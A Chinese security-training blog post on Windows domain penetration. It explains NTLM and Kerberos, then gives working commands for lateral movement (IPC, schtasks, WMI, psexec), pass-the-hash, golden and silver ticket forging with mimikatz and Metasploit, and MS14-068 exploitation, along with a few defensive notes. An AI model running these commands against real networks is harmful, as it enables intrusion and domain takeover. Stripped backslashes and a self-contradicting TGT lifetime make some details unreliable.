zoukankan      html  css  js  c++  java
  • 纯干货分享丨内网渗透很难学吗?

    最近我们针对渗透测试线下就业班的课程进行了深度调研,从问卷结果发现很多学员反馈关于内网渗透的课程不容易掌握。

     

    今天,i 春秋针对内网域渗透知识进行了总结,希望对大家学习渗透测试课程有所帮助。

    一、NTLM协议


    在工作组中,密码hash保存在本地的SAM文件中

    (%SystemRoot%system32configsam),在域里保存在ntds.dit文件中,hash的格式为:用户名称:SID:LM-Hash值:NT-Hash值

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::

    500冒号后面的是LM hash,bd0647d9197a9db0b041eb是ntml hash。


    0x1.1 LM Hash

    LM Hash的全称是LAN Manager Hash,如果明文是dbnames,先要全部转换成大写,然后将大写字符串转换成16进制,如果明文大写转换的二进制不足14个字节,需要用0在后面添加到14个字节

    44424e414d455300000000000000    dbnames的16进制为44424e414d4553

    由于44424e414d4553转换二进制为8字节,所以这两个8字节数据要用魔术字符串KGS!@#$%DES加密。

    4B47532140232425     为'KGS!@#$%'的16进制

    将KGS!@#$%为key对这2个8字节进行des加密。


    0x1.2 NTLM Hash

    从Windows Vista开始,密码默认情况是只有存储NTLM Hash,LM Hash不会存在,在NTLM Hash中,先将字符串进行16进制转换,然后在转换成unicode字符串,最后使用MD4加密算法对Unicode进行加密,所以LM Hash跟NTLM相比,LM明文大小写不敏感,可以判断明文是否小于8位,不使用'KGS!@#$%'作为key进行des加密,而NTML采用单向加密方式(MD4)。


    0x1.3 NTLM认证协议

    NTLM协议认证分为三部分:协商、质询、身份验证验证。

     

    NTLM协议认证过程:

    1、用户输入账号密码,客户端中包含明文用用户名向服务端发起请求

    2、服务端接收到客户端的请求,会生成一个challenge 16位随机数,使用存储的NTLM Hash加密challenge,生成challenge1,然后将challenge的16位明文随机数发送给客户端

    3、客户端接收到challenge后,使用用户登录的密码hash加密challenge生成response(challenge2),将这个response发送给客户端

    4、服务端接收到response,对challenge1和challenge2进行比较,相同的话就验证成功


    0x1.4 NTLM v1与NTLM v2

    challenge:NTLM v1是8的随机数;NTLM v2是16位的随机数。

    Net-NTLM Hash:

    1、NTLM v1采用的是DES加密,在16字节后面填充5个0,组成21字节,然后分成3组7个字节的,并在每7个字节后面填充1个0,成为3个8字节的DES密钥,加密上诉步骤2(server)发来的challenge,组成24字节的密文。

    2、NTLM v2采用的HMAC-MD5加密

    二、Kerberos协议

    Kerberos是一种网络认证协议,主要在windows域中,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。在Kerbeos协议中主要有三个角色:

    ①Client

    ②Server

    ③KDC,在KDC中又有两个部分组成:

    AS:作用是验证Client是不是本人
    TGS:为Client生成访问某个服务的ST票据(TGS Ticket)


    认证过程:

     

    1、客户端向KDC(AS)发起一个认证请求(KRB_AS_REQ),在请求的过程中,是通过用户的密码hash加密的时间戳,然后发送给AS服务器,AS服务器接收到后,采用服务器那边的密码hash进行解密这个时间戳,解密成功后,并且时间戳在一定时间范围,说明认证成功。

    2、AS对比用户是否在本地数据库中,使用客户端的hash进行解密,正确就返回krbtgt的密码hash加密的TGT票据(到期时间一般为8小时),用户是无法解密这个TGT票据的,但是有了krbtgt的hash,就可以伪造'黄金票据'。还要返回一个由客户端用户ntml hash加密的Session Key(sessionkey1),Session Key是KDC接收请求后的随机生成的字符(KRB_AS_REP)。

    3、客户端用自己的密码hash解密Session Key,TGT是KDC加密的,Client无法解密,Client拿着解密出来的SessionKey去加密时间戳和TGT发送给TGS换取访问Server的票据(KRB_TGS_REQ)。

    4、TGS收到Client的请求后,会验证是否存在客户端要访问的这个服务,存在的话KDC使用krbtgt的密码hash对TGT进行解密,然后会查看TGT中的时间戳,看是否TGT失效,如果解密成功的TGT没有失效,向客户端发送通过sessionkey1加密的Session_key和ticket票据,在TGSREP中,用的是服务的hash加密ticket的,所有我们拥有这个服务的hash就可以制作一个ticket(即白银票据)(KRB_TGS_REP)。

    5、客户端拿着自己sessionkey1解密的Session_Key(sessionkey2),然后把sessionkey2加密的时间戳和ticket发送个Server去访问服务,认证通过就可以访问(KRB_AP_REQ)。

    6、服务使用自己的hash去解密ticket票据,得到sessionkey2,在用sessionkey2去解密时间戳,解密成功,就用PAC去KDC问客户端是否有访问的权限,域控解密PAC,用于让客户端识别是否访问正确的服务端(KRB_AP_REP)。

    三、内网横向移动的常用方法


    0x1.1 ipc连接

    net use \192.168.1.232C$ admin123456 /user:fanxing.comfanxing

    复制文件到主机上

    copy 1.bat \192.168.1.232c$	ools

    获取服务器的时间

    net time \192.168.1.232

    创建计划任务,20:05执行1.bat文件,cobaltstrike上线成功。

    at \192.168.1.232 20:05 c:	ools1.bat

     

    下面是ipc连接当中常见的错误号:

    错误号5:拒绝访问--->使用的权限太低,需要提权
    错误号51:Windows无法找到网络路径,网络有问题
    错误号53:找不到网络路径,ip地址错误、目标未开机、目标lanmanserver服务未开启、目标有防火墙(端口过滤)
    错误号67:找不到网络名->你的lanmanworkstation服务未启动或者目标删除了ipc$
    错误号1219:提供的凭据与已存在的凭据集冲突->你已经和对方建立了一个ipc,请删除在连接
    错误号1326:未知的用户名或错误密码
    错误号1792:试图登录,但是网络登录服务没启动->目标BetLogon服务未启动
    错误号2242:此用户的密码已经过期->目标有账号策略,强制定期要求更改密码


    0x1.2 schtasks创建计划任务

    设置每天晚上8:40执行1.bat文件

    schtasks /create /s 192.168.1.232 /u fanxing.comfanxing /p admin@163.com /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40  /tr c:	ools1.bat /F

     

    0x1.3 WMI

    wmi服务需要开启135端口,这个是默认开启的。

    wmic /node:192.168.1.232 /user:fanxing.comfanxing /password:admin@163.com process call create "cmd /c 1.exe"

     


    使用wmic没有任何回显,可以wmicexec.vbs解决无回显的问题,或者获取一个半交互式shell。

    cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.comfanxing admin@163.com whoami

     


    0x1.4 pstools

    pstools中有13个小工具,这里主要利用p**ec进行远程执行命令,唯一的缺点就是会开启一个服务,容易被管理员发现。

    在ipc建立连接的时候,可以直接使用p**ec:

    p**ec.exe \192.168.1.232 -h cmd /c "whoami"

     

    当ipc没有连接时:

    P**ec.exe \192.168.1.232 -u fanxing.comfanxing -p admin@163.com -h cmd /c "whoami"

     

    使用metasploit执行:

    use auxiliary/admin/smb/p**ec_command
    set rhosts 192.168.1.232
    set smbuser fanxing
    set smbpass admin@163.com
    set smbdomain fanxing.com
    set command whoami

     


    0x1.5 hash传递(PTH)

    hash传递是通过密码的hash访问主机或者服务,不需要明文登录。hash的原理,出现在上面讲的NTML认证过程的challenge。利用metasploit:

    use exploit/windows/smb/p**ec
    set rhosts 192.168.50.233
    set SMBPass 32057716c8bd0647d9197a9db0b041eb
    set SMBUser administrator
    set SMBDomain fanxing.com


    四、黄金票据

    黄金票据是AS颁发给Client的TGT票据(TGT的有效时间为20分钟),是通过域kerberos账户(KRBTGT)加密的。实现原理就是跳过了AS的认证过程,直接向KDC的TGS服务证明通过了AS服务。一般黄金票据都是域控的权限掉了的时候,修改了域控的密码,而krbtgt的密码没有被修改,就可以重新获取到域控权限。

    满足黄金票据的条件有:

    ①域的名称

    ②域的SID值

    ③域中KRBTGT的密码hash

    ④伪造的用户名

    在金票的利用过程中,可以使用mimikatz,cobaltstrike,metasploit来伪造。


    0x1.1 Mimikatz

    导出krbtgt的NTML Hash

    privilege::debug      #提权
    [/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt

     

    获取域的SID值,不要后面的-500。

    whoami /all

     

    伪造金票

    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi

     

    导入Golden Ticket:

    kerberos::ptt c:users	estgold.kirbi

     

    可以使用dir访问域控目录,要输入主机名,使用ip还是访问不到。

    dir \WIN-M34UCFJIPNQc$

     

    mimikatz还有另外一中方法:

    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt


    0x1.2 CobaltStrike

    在上线之后->执行->黄金票据:

     

    0x1.3 Metasploit

    msf制作金票

    load kiwi

    生成Golden Ticket

    golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket

    将票据导入内存中

    kerberos_ticket_use /tmp/golden.ticket

     

    dir访问目录成功

     

    金票的创建,需要krbtgt的密码ntml hash,对于防御,只要定期的修改krbtgt的密码,就能使金票失效。

    五、白银票据


    白银票据是TGS颁发给Client的ST票据,根据kerberos协议第5步,Server会对Clinet的ST票据利用Client的hash解密,所以这个过程不需要经过KDC,而且只能访问Server的服务一次。

    满足一下条件,即可以伪造银票:

    ①域的名称

    ②域的SID值

    ③域服务的NTML Hash

    ④要伪造的用户名

    ⑤目标服务器的kerberos服务

    常用的服务名有:

     

    伪造银票

    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt

     

    对于银票的防御措施可以开启PAC,PAC只能KDC制作和查看,在注册表中添加一个ValidateKdcPacSignature为1。

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaKerberosParameters

     

    六、MS14-068


    Client向AS申请一张不包含PAC的TGT票据,会伪造一个PAC,在TGS_REP中,对伪造的PAC验证成功后,会返回一个新的TGT票据。

    通过MS14-068exp利用:

    MS14-068.exe -u 当前域用户@域名称 -p 当前域用户密码 -s sid值 -d 域控ip

    sid值通过whoami /all获取

     

    然后会在目录下生成一个证书,利用mimikatz。

    kerberos::ptc C:wwwrootTGT_xxxxx@fanxing.com.ccache

    就可以使用dir访问到域控的目录。

     

    对于ms14-068的防御可以打补丁KB3011780和使用winserver2012。

    以上是今天的内容,大家看懂了吗?当然内网域渗透知识还有很多没有整理完,更多的内容分享希望大家及时关注i春秋。

  • 相关阅读:
    Quicksum -SilverN
    uva 140 bandwidth (好题) ——yhx
    uva 129 krypton factors ——yhx
    uva 524 prime ring problem——yhx
    uva 10976 fractions again(水题)——yhx
    uva 11059 maximum product(水题)——yhx
    uva 725 division(水题)——yhx
    uva 11853 paintball(好题)——yhx
    uva 1599 ideal path(好题)——yhx
    uva 1572 self-assembly ——yhx
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/12167898.html
Copyright © 2011-2022 走看看